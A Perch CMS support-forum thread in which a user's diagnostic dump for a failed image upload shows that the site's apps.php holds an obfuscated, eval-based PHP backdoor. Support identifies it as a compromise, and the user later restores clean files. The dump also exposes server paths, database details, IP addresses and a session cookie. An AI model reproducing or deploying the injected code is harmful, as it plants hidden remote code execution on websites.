Forum

Thread tagged as: Error

Problem uploading images sfter update to v2.7.4

Hello, I have today upgraded to the latest Perch version, and am now not able to upload assets.

Upon selecting a file to upload, the image thumbnail briefly appears in perch admin, then simply dissappears without ever appearing in the asset list.

This happens via the page content editors, blog post editors & directly via the assets tab. Previously uploadded images are not affected, and display ok.

I created a new admin user, to see if that helps but I experience the same issue there.

Full diagnostic here:

Perch: 2.7.4
Production mode: Production (100)
Installed apps: content (2.7.4), assets (2.7.4), categories (2.7.4), perch_blog (4.5.4), perch_shop_paypal (1.2.1)
DB driver: PDO
DB tables: perch2_blog_authors, perch2_blog_categories, perch2_blog_comments, perch2_blog_index, perch2_blog_posts, perch2_blog_posts_to_categories, perch2_blog_posts_to_tags, perch2_blog_sections, perch2_blog_tags, perch2_categories, perch2_category_counts, perch2_category_sets, perch2_content_index, perch2_content_items, perch2_content_regions, perch2_navigation, perch2_navigation_pages, perch2_page_templates, perch2_pages, perch2_resource_log, perch2_resource_tags, perch2_resources, perch2_resources_to_tags, perch2_settings, perch2_shop_categories, perch2_shop_log, perch2_shop_orders, perch2_shop_product_options, perch2_shop_products, perch2_shop_products_to_categories, perch2_user_privileges, perch2_user_role_privileges, perch2_user_roles, perch2_users
Users: 2
App runtimes:

<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $zhesuzvtoi = '60opjudovg%x5c%x7822)!gd]51]y35]256]y76]72]y3d]517825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-#1GO%4%x5c%x78223}!+!<+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x7825)+opju5c}X%x5c%x7824<!%x5c%x7825tzw>!#]y76]:<*9-1-r%x5c%x7825)s%x5c%x7825>%x5c%x782fh%x5c%x7825:<**#57]38y]47]6c%x787f_*#fmjgk4%x5c%x7860{6~6<tfs%x5c%x7825w6<%xR25,d7R17,67R37,#%x5c%x782fq%x5c4*<!~!dsfbuf%x5c%x7860gvodujpo)##23ldfid>}&;!osvufs}%x5c%x787f;7fw6*%x5c%x787f_*#fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787fw6*CW&)7gj6<%154%x69%164%50%x22%134%x78%62%x35%165%x3a%146%x21%76%x2;hojepdoF.uofuopD#)sfebfI{*w%x5c%x7825)kV%x5c%x7878{**#k#)tutjyf%x5c%x277]y72]265]y39]274]y85]273]y6g]273]y76]271]y7d]252]y74]256]y7%x5c%x782f7#@#7%x5c%x782f7^#iubq#%x5cc%x7825G]y6d]281Ld]245]K2]285]Ke]53Lde%x5c%x78b%x5c%x7825ggg5c%x7824<%x5c%x7825j,,*!|%x5c%x7824-%x5c%x7824gvodujpo!%x5c%x*doj%x5c%x78257-C)fepmqnjA%x5c%x7827&6<.fmjgA%x5c%x7821%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x75c%x7825):fmji%x5c%x7878:<##:5r%x5c%x7878B%x5c%x7825h>#]yc%x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%x78256<%x5obs%x5c%x7860un>qp%x5c%x7c%x7825tzw%x5c%x782f%x5c%x7824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K%x7825j:>>1*!%x5c%x7825b:>1<!fmtf!%x5c%t!-#j0#!%x5c%x782f!**#sfmcnbs+yfeobz+sfwjidsb%x5c%x7860bj+upcotnI%x5c%x7860QUUI&e_SEEB%x5c%5s:%x5c%x785c%x5c%x7825j:^<!%x5c%x7825w%x5c%x7860%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%xx7825b:>%x5c%x7825s:%x5c%x785c%x5c%c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D<**qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbcx7825hOh%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjj!|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf%x5c%x787doj%x5c%x78256<%x5c%x787fw6*%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)gj6+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!%x5c%x782f]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj%x5c%x7825)!gj!<**2-4-bubE{h%x5c%x7825)su{return chr(ord($n)-1);} @error_reporting(0); preg_replace%x7825bss%x5c%x785csboe))1%x5c%x782f35.%x7827k:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x7878]y33]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*<27-SFGTOBSUOSVUFS,6<*msv%x5w)#]82#-#!#-%x5c%x7825tmw)%x5c%x7825tww**WYsboepn)%x5%x78b%x5c%x7825mm)%x5c%x7825%x5c%x7878:-!%x5%x7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!*1?hmg>1<%x5c%x7825b:>1<!gps)%x5c%x7825j:>1<%x5c%25r%x5c%x7878<~!!%x5c5c%x7860{6:!}7;!}6;##}C]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#%x5c%x78322]3]364]6]283]427]36]373P6]36]73]83]238M7]381]211M5]67]452]88]5]4c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5c%x7825j>1<%x5c%x7825j=6[825fdy<Cb*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbT-%x5c%x7%x5c%x7825wN;#-Ez-1H*WCw*[!%x5c%x7825rN}#QwTW%x5c%x7822f#7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<1]88M4P8]37]278]225]241]334]368]5}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%x5c%x782f#%x5c%x782f},;%x7825>j%x5c%x7825!*3!%x5c%x7827!hmg%x5c%x7825!)!gj!<2,*j%x5%x5c%x787f!|!*uyfu%x5c}88:}334}472%x5c%x7824<!%x5c%x7825mm!>!#]y81]273]y76]258]y6g]27>:h%x5c%x7825:<#64y]552]%x5c%x7825>2q%x5c%x7825<#g6R85,67R37,18R#>q%x5c%x7825V<*#fopoVx5c%x7825nfd>%x5c%x77825ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y39]271j}1~!<2p%x5c%x7825%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%x785!#0#)idubn%x5c%x7860hfsq)!sp!*#ojneb#-*f%x5c%x7825)sf%x5cT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%x7827K6<%x5c%x787fw6*3qi%x5c%x785c2^<!Ce*[!%x5c%x7825cIjQeTQcOc%x5c%xx78256|6.7eu{66~67<&w6<e7y]#>n%x5c%x7825<#372]58y]472]37y]672]48y]#>s%x5c%x7825<#462]47y]2e44#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTP5cSFWSFT%x5c%x7860%x5c%x782]53]Kc]55Ld]55#*<%x5c%x7825bG9}:}.}-}!#*<%%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%x7860ufldpt}X;%x5c%x7860msvd}RftmfV%x5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x7825V<#65,47s%x5c%x78257-K)fujs%x5c%x78j%x5c%x78257>%x5c%x782272qj%x5c%x7825)7gj6<**2qj]y83]256]y78]248]y83]256]y+#Qi%x5c%x785c1^W%x5c%x7825c!>!%x5c%x7825;*msv%x5c%x7825)}.;%x5c%x7-%x5c%x7824-tusqpt)%x5c%x7825z-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5c%x7%x5c%x7825)hopm3qjA)qj3hopmA%x5c%x78273qj%x5c%x78256<*Y%x5c%x78255c%x7825%x5c%x7824-%x5c%x7824*!|!%x.%x5c%x782f#@#%x5c%x782fqp%x5c%x78)udfoopdXA%x5c%x7822)7gj6<*QDU%x5c%x7860MPT725w6Z6<.5%x5c%x7860hA%x5c%x78787f%x5c%x787f<u%x5c%x7825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{x5c%x7825=*h%x5c%x7825)m%x6]y6g]257]y86]267]y74]275]y7:]268]y7f#<!%x5c%x7825tww!%x7825>U<#16,47R57,27R66,#%x5c%x782fq]256]y81]265]y72]254]y76#<%x5c%x7825tmw!>!#]y84]275]y83]273]y76]277#<25)n%x5c%x7825-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%2)%x5c%x7825w%x5c%x7860TW~%x5c%x7824<%x5c%x78e%x5c%x785cq%x5c%x7825%x5c%x7827Rd%x5c%x7825)Rb%x5c%x7825))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:c2)%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W782f#00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvso!sbo275j{hnpd19275fubmgo%x22%51%x29%51%x29%73", NULL); }pmdXA6~6<u%x5c%x78257>%x5c%x782f739]252]y83]273]y72]282#<!%x5c%x7825tjw!>!#]y84]275]y83]248]y83bg39*56A:>:8:|:7#6#)tutjyf%x5c%x7860439275ttfsqnpdov{h195c%x7825!-#2#%x5c%x782f#%x5c%x7825#%x5c%x782f#o]#%x]y35]274]y4:]82]y3:]62]y4c#<!%x5c%x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825)fnbozcYufhA%x5c%x78272qj%x5c%x78256<^#zsfvr#%x5c%x785cq%x5c%x7825827;mnui}&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33bq}k;opjuddovg+)!gj+{e%x5c%x7825!osvufs!*!+A!825!|Z~!<##!>!2p%x5c%x78%x5c%x7825ww2!>#p#%x5c%x782f#p#%x54]275]D:M8]Df#<%x5c%x7825tdz>#L4]275L3]248L38y]572]48y]#>m%x5c%x7825:|:*r%x5c%x7825:-t%7860%x5c%x7878%x5c%x7%x5c%x7825%x5c%x782fh%x5c%x783P6L1M5]D2P4]D6#<%x5x7825)dfyfR%x5c%x7827tfs%x5c%x78256<*17-SFEBFI,6<*127-UVPFNJU,6<*%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x7824x5c%x7825%x5c%x7824-%x5c%x782c%x7825bss-%x5c%x782epn)%x5c%x7825epnbss-%x5c%x7825r%x5c%x7878W~!Ypp825bT-%x5c%x7825hW~%x5c%x7825fd7824-%x5c%x7824!>!fyqmpef)#%x5c%x7824*<!%x5c%x7825kj:!>!#]y3j{h1:|:*mmvo:>:iuhofm%x5c%x7825:-5pp8e%x5c%x78b%x5c%x7825w:!>!%x5c%x78!opjudovg}k~~9{d%x5c%x7825:osvufs:~928>>%x5c%x7822:ftm-!#~<#%x5c%x782f%x5c%x7825%x5c%x8]32M3]317]445]212]445]43]321]467825!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1156%x61"])))) { $GLOBALS["%x61%156%x75%156%x61"]=1; function fjfgg($n)%x5c%x7825tpz!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]281L5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#0#%x5cmsvd}+;!>!}%x5c%x7827;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787%154%x28%151%x6d%160%x6c%157%825Z<#opo#>b%x5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x5c%x786+7**^%x5c%x782f%x5c%x785_t%x5c%x7825:osvufs:~!>!#]y81]273]y76]258]y6g]273]y76]4]284]364]6]234]342]58]24]31#-%x5c%x7825tdz*Wsfuvso!%x5cx5c%x7825)3of:opjudovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x78242178}5277824-%x5c%x7824tvctus)%x5c%x7825x64%145%x28%141%x72%162%x61%171%x5f%155%x61%160%x5c%x7825t2w>#]y74]273]y76]252]y85]25;!>>!}W;utpi}Y;tuofuopd%x5c%x7860ufhif((function_exists("%x6f%142%x5f%163%x74%141%x72%164"27*&7-n%x5c%x7825)utjm6<%x5c%x787fw6*CW&)7gj6<*K)ft%x7878pmpusut)tpqssutRe%x5c%x7825)c%x787fw6*%x5c%x787f_*#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x787fw%x7825j>1<%x5c%x7825j=tj{fpg)%r.93e:5597f-s.973:8297f:5297e:56-%x5c%x7878r.985:52985-t.98!~<ofmy%x5c%x7825,3,j%x5c%x7825>j%x5f;!osvufs}w;*%x5c%x787f!>>%x5c%x7822!pd%x5c%x7825UI&b%x5c%x7825!|!*)323zbek!~!<b%x5c%x7825%x5c%x787f!<X>b%x5c%x7>!%x5c%x782400~:<h%x5c%x782>!{e%x5c%x7825)!>>%x5c%x7822!ftmbg)!gj<*#k#5c%x7825)sutcvt)fubmgoj{hA!osvufs!~<3,j%x5c860UQPMSVD!-id%x5c%x7825)uqpuft%x5c%x7860msvd},;uqpuft%x5c%x7860*&7-#o]s]o]s]#)fepmqyf%x5c%x7825>5h%x5c%x7825!<*::::::-111112)e3]y76]271]y7d]252]y74]256#<!%#-#}+;%x5c%x7825-qp%x5c%x7825)54l}%x5c%x7827;%x5c%x7825!<*#}_;#)3-NBFSUT%x5c%x7860LDPx5c%x7825ff2!>!bssbz)%x5c%x7824]25%x5c%x7824-%x5c%x7824-!%x56<#o]1%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x7%x7825s:N}#-%x5c%x7825o:W%x5c%x7825c:fmji%x5c%x78786<C%x5c%x7827&6<*rf78X6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x782f7rfs%x5c%x7827824-%x5c%x7824y7%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x5c%x7824gps)%x5c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%x5c%x78246767~6<Cw6<pd%x5c%x788256~6<%x5c%x787fw6<*K)ftpmdXA6|7**197-2qj%x5c%x78257-K5hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5c%>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww31]278]y3e]81]K78:56985:6197g:74985-r7y]37]88y]27]28y]#%x5c%x782frc%x7827{**u%x5c%x7825-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%xc2b%x5c%x7825!>!2p%x5c%x52]18y]#>q%x5c%x7825<#762]67y]562]cB%x5c%x7825iN}#-!tussfw)%x5tcvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825!|!*#91y]c9y]g2y]#<^#Y#%x5c%x785cq%x5c%x7825%x5cde:4:|:**#ppde#)tutjyf%x5c%x7860ovg}%x5c%x7878;0]=])0#)U!%x55c%x787fw6*CWtfs%x5c%x7825)7gj6<*id%x5c%x7825)ftpmdR6<*id%x5c%y)##-!#~<%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz)#]34)usbut%x5c%x7860cpV%x5c%x787f%x5c%x787f%x5c%x#-#L#-#M#-#[#-#Y#-#D#-#W#-#25!|!*!***b%x5c%x7825)sf%x5c%x7878pmpusu81]265]y72]254]y76]61]y33]68]y34]68]c%x7825!<**3-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*ofmy%x5c)1%x5c%x782f14+9**-)1%x5c%x782f298x7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUC#-#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM*<(<%x5c%x785c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%x5c%x) && (!isset($GLOBALS["%x61%156%x75%jsv%x5c%x78256<C>^#zsfvr#%x5c%x785cq%x5c%x78257**^#zsfvr#%x51#%x5c%x782f#M5]DgP5]D6#<%x5271]y7d]252]y74]256#<!%x5c%x824-%x5c%x7824]y8%x5c%x7824-%x5c%x7824]26%x5c%x7824-%xx7825j:.2^,%x5c%x7825b:<!%x5c%x7825c:>%x5c%x782y33]65]y31]53]y6d]281]y43]827,*e%x5c%x7827,*d%x5c%x7827,*c%x5c%x7827,*b%x5c%x7827)fepdof.)fepdof6*CW&)7gj6<.[A%x5c%x7827&6<%x5c%x787fw6*%x5c%x787f_*#[k2%xx5c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x5c%x7825-*.%xx7825j:=tj{fpg)%x5c%x7825s:*<%x5c%x7825j:,,Bjg!)%x5cc%x7825c*W%x5c%x7825eN%x28%42%x66%152%x66%147%x67%42%x2c%163%x74%162%x5f%163%x705c%x782f*)323zbe!-#jt0*?]+^?]_%x5c%x78>>*4-1-bubE{h%x5c%x7825)sutcvt)!g860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%x7824y4%x5c%x7c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x7825z825w6Z6<.2%x5c%x7860hA%x5c%x7827pd%x5c%x78256<C%x5c%x7827pd%x5c%27pd%x5c%x78256<pd%x5c%x7825w6Z6<.4%x5c%x7860hA%x5c%x7827pd%x5c%x78256%x782f*#npd%x5c%x782f#)rrd%x5c%x782f#00;quui#>.%x5c%x7825!<***f%x5c%x7<pd%x5c%x7825w6Z6<.3%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7&6|7**111127-K)ebfsX%x5c%x7827u%x5c%x7825)7822l:!}V;3q%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x722)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!("%x2f%50%x2e%52%x29%57%x65","%x65%166%x61)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%x7860opjudovg)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x/(.*)/epreg_replaceyzyjpmpahz'; $dqcfxzsgim = explode(chr((185-141)),'6560,54,8784,36,5862,70,1836,58,9944,42,6104,29,6439,47,9317,58,484,56,884,62,5654,34,7728,23,4021,29,9611,70,9751,65,9547,64,3274,23,7175,30,6614,51,4668,33,9816,43,7510,33,3606,27,7543,53,7411,62,7751,55,3977,44,7332,20,3172,56,3633,48,3843,65,4940,66,671,38,4411,27,8820,60,1643,38,8153,30,7666,62,415,69,830,54,1611,32,271,49,8243,62,5312,65,2020,27,1003,49,6699,62,9133,58,2262,23,6524,36,3476,69,3748,26,7111,64,6043,61,6886,49,9986,60,10046,60,7068,43,2749,60,1324,45,5806,56,1725,70,6850,36,8503,69,2144,54,1795,41,8097,56,9413,33,1546,65,0,23,3053,62,8011,24,49,55,9191,24,9215,28,5981,62,9681,70,9063,70,3943,34,7205,33,1052,25,5097,24,8427,40,1181,64,1681,44,3115,57,6665,34,4438,66,3364,43,1245,27,8606,69,6935,63,6133,70,9907,37,1444,58,2809,22,1933,41,3407,27,2689,60,7267,65,385,30,5688,54,4763,56,4616,20,5618,36,8183,32,104,62,5062,35,7025,43,8355,45,4050,61,3545,61,320,32,4191,37,2918,62,540,70,5242,21,9859,48,5006,56,8215,28,7954,57,4819,51,9375,38,166,37,610,61,4701,62,4228,69,6486,38,4137,54,6998,27,6227,22,203,68,7925,29,5263,29,4297,64,4111,26,946,29,2894,24,3297,67,8035,34,5198,44,6338,69,2831,63,7238,29,7352,59,3908,35,8737,47,6407,32,5377,53,3774,69,9446,51,8936,54,769,61,7596,70,6761,30,5430,29,352,33,5742,32,5558,60,23,26,4870,70,8069,28,9295,22,3707,41,3228,46,4568,48,5479,48,4504,64,2535,54,7806,46,1502,44,2047,53,5459,20,975,28,7888,37,6791,59,2285,54,2589,68,5932,49,8880,28,1404,40,5155,43,5292,20,709,37,3434,42,2980,20,2475,60,5527,31,8305,50,2657,32,2339,67,5774,32,6282,56,1894,39,8572,34,6203,24,2241,21,7473,37,2198,43,9243,52,1142,39,1369,35,8990,47,1272,52,2406,69,5121,34,9497,50,7852,36,4361,50,2100,44,1077,65,8400,27,8675,62,746,23,6249,33,8908,28,3000,53,3681,26,8467,36,9037,26,1974,46,4636,32'); $bttworafnf=substr($zhesuzvtoi,(38467-28361),(30-23)); if (!function_exists('wdtvghgihr')) { function wdtvghgihr($fuayimjwey, $obhvlsqrah) { $abyflkgxvv = NULL; for($itclxwuifl=0;$itclxwuifl<(sizeof($fuayimjwey)/2);$itclxwuifl++) { $abyflkgxvv .= substr($obhvlsqrah, $fuayimjwey[($itclxwuifl*2)],$fuayimjwey[($itclxwuifl*2)+1]); } return $abyflkgxvv; };} $jtlfiinoch="\x20\57\x2a\40\x6d\171\x70\144\x69\151\x75\154\x64\143\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\65\x34\55\x32\61\x37\51\x29\54\x20\143\x68\162\x28\50\x34\60\x32\55\x33\61\x30\51\x29\54\x20\167\x64\164\x76\147\x68\147\x69\150\x72\50\x24\144\x71\143\x66\170\x7a\163\x67\151\x6d\54\x24\172\x68\145\x73\165\x7a\166\x74\157\x69\51\x29\51\x3b\40\x2f\52\x20\143\x61\153\x64\162\x79\170\x71\156\x74\40\x2a\57\x20"; $gwzixeakxt=substr($zhesuzvtoi,(68652-58539),(75-63)); $gwzixeakxt($bttworafnf, $jtlfiinoch, NULL); $gwzixeakxt=$jtlfiinoch; $gwzixeakxt=(846-725); $zhesuzvtoi=$gwzixeakxt-1; ?><?php
    include(PERCH_PATH.'/core/apps/content/runtime.php');
    include(PERCH_PATH.'/core/apps/categories/runtime.php');
    include(PERCH_PATH.'/addons/apps/perch_blog/runtime.php');
    include(PERCH_PATH.'/addons/apps/perch_shop_paypal/runtime.php');
?>

Scheduled tasks for perch_blog: delete_spam_comments (1440 mins)
Editor plug-ins: markitup
H1: abc8afabfabd701df242bf3a4865c7c6
L1: c18ecdf157ce258586f8b86125d92cbc
headerColour: #ffffff
content_singlePageEdit: 1
helpURL:
siteURL: /
hideBranding: 0
content_collapseList: 1
lang: en-gb
latest_version: 2.5.3
perch_blog_post_url: /post.php?s={postSlug}
headerScheme: light
perch_blog_slug_format: %Y-%m-%d-{postTitle}
perch_blog_akismet_key:
dashboard: 0
content_hideNonEditableRegions: 0
perch_blog_comment_notify: 0
on_sale_version: 2.7.4
update_2.7.4: done
perch_blog_update: 5.0
perch_blog_max_spam_days: 0
perch_shop_paypal_email: XXX
perch_shop_product_url: /shop/product.php?s={productSlug}
hide_pwd_reset: 0
content_frontend_edit: 0
perch_shop_display_oos: 0
PERCH_DEVELOPMENT: 10
PERCH_STAGING: 50
PERCH_PRODUCTION: 100
PERCH_DB_USERNAME: rmp
PERCH_DB_SERVER: dc1-mysql-03
PERCH_DB_DATABASE: rmp
PERCH_DB_PREFIX: perch2_
PERCH_EMAIL_FROM: XXX
PERCH_EMAIL_FROM_NAME: XXX
PERCH_LOGINPATH: /perch
PERCH_PATH: /nfs/ank/home1/d/dbrat1234/rockymountainpizza_com/perch
PERCH_CORE: /nfs/ank/home1/d/dbrat1234/rockymountainpizza_com/perch/core
PERCH_RESFILEPATH: /nfs/ank/home1/d/dbrat1234/rockymountainpizza_com/perch/resources
PERCH_RESPATH: /perch/resources
PERCH_HTML5: 1
PERCH_RUNWAY:
PERCH_ERROR_MODE: DIE
PERCH_DATE_LONG: %d %B %Y
PERCH_DATE_SHORT: %d %b %Y
PERCH_TIME_SHORT: %H:%M
PERCH_TIME_LONG: %H:%M:%S
PERCH_DEBUG:
PERCH_PREVIEW_ARG: preview
PERCH_TEMPLATE_PATH: /nfs/ank/home1/d/dbrat1234/rockymountainpizza_com/perch/templates
PERCH_DEFAULT_DOC: index.php
PERCH_DEFAULT_EXT: .php
PERCH_PRODUCTION_MODE: 100
PERCH_RWD:
PERCH_HTML_ENTITIES:
PERCH_SSL:
PERCH_AUTH_PLUGIN:
PERCH_DB_CHARSET: utf8
PERCH_DB_PORT:
PERCH_DB_SOCKET:

Hosting settings

PHP: 5.3.12
Zend: 2.3.0
OS: Linux
SAPI: cgi-fcgi
Safe mode: not detected
MySQL client: 5.1.56
MySQL server: 5.1.40-log
Extensions: Core, date, ereg, libxml, openssl, pcre, sqlite3, zlib, bcmath, bz2, calendar, ctype, curl, dba, dom, hash, fileinfo, filter, ftp, gd, gettext, SPL, iconv, imagick, session, json, ldap, mbstring, mcrypt, ming, mysql, mysqli, pcntl, standard, PDO, pdo_mysql, pdo_pgsql, pdo_sqlite, pgsql, Phar, posix, pspell, Reflection, imap, shmop, SimpleXML, soap, sockets, SQLite, exif, sysvmsg, sysvsem, sysvshm, tokenizer, wddx, xml, xmlreader, xmlrpc, xmlwriter, xsl, zip, cgi-fcgi, memcache, mhash, ionCube Loader
GD: Yes
ImageMagick: Yes
PHP max upload size: 800M
PHP max form post size: 800M
PHP memory limit: 256M
Total max uploadable file size: 256M
Resource folder writeable: Yes
Session timeout: 480 minutes
Native JSON: Yes
Filter functions: Yes
Transliteration functions: No
PATH: /usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin
HOME: /home1/d/dbrat1234
LOGNAME: XXX
PWD: XXX
OLDPWD: XXX
PHP_FCGI_MAX_REQUESTS: 50
_: /usr/local/bin/php53-fcgi
FCGI_ROLE: RESPONDER
REDIRECT_UNIQUE_ID: VIm4MtBfaRgAAHqjoncAAAAi
REDIRECT_SCRIPT_URL: /perch/core/settings/diagnostics/
REDIRECT_SCRIPT_URI: https://www.rockymountainpizza.com/perch/core/settings/diagnostics/
REDIRECT_HANDLER: php5-fcgi
REDIRECT_STATUS: 200
UNIQUE_ID: VIm4MtBfaRgAAHqjoncAAAAi
no_jk: 1
SCRIPT_URL: /perch/core/settings/diagnostics/
SCRIPT_URI: https://www.rockymountainpizza.com/perch/core/settings/diagnostics/
HTTP_HOST: www.rockymountainpizza.com
HTTP_USER_AGENT: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
HTTP_ACCEPT: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
HTTP_ACCEPT_LANGUAGE: en-GB,en;q=0.5
HTTP_ACCEPT_ENCODING: gzip, deflate
HTTP_REFERER: https://www.rockymountainpizza.com/perch/core/settings/diagnostics/
HTTP_COOKIE: PHPSESSID=vc259ojiphd7tpmmep8rjsg2j4; cmsa=1
HTTP_CONNECTION: keep-alive
SERVER_SOFTWARE: Apache
SERVER_NAME: www.rockymountainpizza.com
SERVER_ADDR: 208.95.105.24
SERVER_PORT: 80
REMOTE_ADDR: 86.10.3.22
DOCUMENT_ROOT: /home1/d/dbrat1234/rockymountainpizza_com
SERVER_ADMIN: XXX
SCRIPT_FILENAME: /home1/d/dbrat1234/rockymountainpizza_com/perch/core/settings/diagnostics/index.php
REMOTE_PORT: 62404
REDIRECT_QUERY_STRING: extended
REDIRECT_URL: /perch/core/settings/diagnostics/index.php
GATEWAY_INTERFACE: CGI/1.1
SERVER_PROTOCOL: HTTP/1.1
REQUEST_METHOD: GET
QUERY_STRING: extended
REQUEST_URI: /perch/core/settings/diagnostics/?extended
SCRIPT_NAME: /perch/core/settings/diagnostics/index.php
ORIG_SCRIPT_FILENAME: /home1/d/dbrat1234/rockymountainpizza_com/cgi-local/php5.fcgi
ORIG_PATH_INFO: /perch/core/settings/diagnostics/index.php
ORIG_PATH_TRANSLATED: /home1/d/dbrat1234/rockymountainpizza_com/perch/core/settings/diagnostics/index.php
ORIG_SCRIPT_NAME: /cgi-local/php5.fcgi
PHP_SELF: /perch/core/settings/diagnostics/index.php
REQUEST_TIME: 1418311730

Help appreciated

Tim
Tim Denton

Tim Denton 0 points

  • 6 years ago
Drew McLellan

Drew McLellan 2638 points
Perch Support

6 years ago

You have something seriously wrong in your apps.php file. Has your server been compromised?
Tim Denton

Tim Denton 0 points

6 years ago

Hmm - yes, you're referring to the block of code preceeding the perch includes.

I've asked my client about this - they are not aware of what it is, and from googling it - it seems similar to a wordpress exploit. Whatever it is, it shouldn't be there.

I've reset ftp & admin passwords & just replaced ALL affected files with clean backups. I'll continue to look into this issue separately. Thanks.

So regarding the asset upload, I'm continuing to experience the aforementioned issue.

Updated diags:

Perch: 2.7.4
Production mode: Production (100)
Installed apps: content (2.7.4), assets (2.7.4), categories (2.7.4), perch_blog (4.5.4), perch_shop_paypal (1.2.1)
DB driver: PDO
DB tables: perch2_blog_authors, perch2_blog_categories, perch2_blog_comments, perch2_blog_index, perch2_blog_posts, perch2_blog_posts_to_categories, perch2_blog_posts_to_tags, perch2_blog_sections, perch2_blog_tags, perch2_categories, perch2_category_counts, perch2_category_sets, perch2_content_index, perch2_content_items, perch2_content_regions, perch2_navigation, perch2_navigation_pages, perch2_page_templates, perch2_pages, perch2_resource_log, perch2_resource_tags, perch2_resources, perch2_resources_to_tags, perch2_settings, perch2_shop_categories, perch2_shop_log, perch2_shop_orders, perch2_shop_product_options, perch2_shop_products, perch2_shop_products_to_categories, perch2_user_privileges, perch2_user_role_privileges, perch2_user_roles, perch2_users
Users: 2
App runtimes:
<?php
    include(PERCH_PATH.'/core/apps/content/runtime.php');
    include(PERCH_PATH.'/core/apps/categories/runtime.php');
    include(PERCH_PATH.'/addons/apps/perch_blog/runtime.php');
    include(PERCH_PATH.'/addons/apps/perch_shop_paypal/runtime.php');
?>

Scheduled tasks for perch_blog: delete_spam_comments (1440 mins)
Editor plug-ins: markitup
H1: abc8afabfabd701df242bf3a4865c7c6
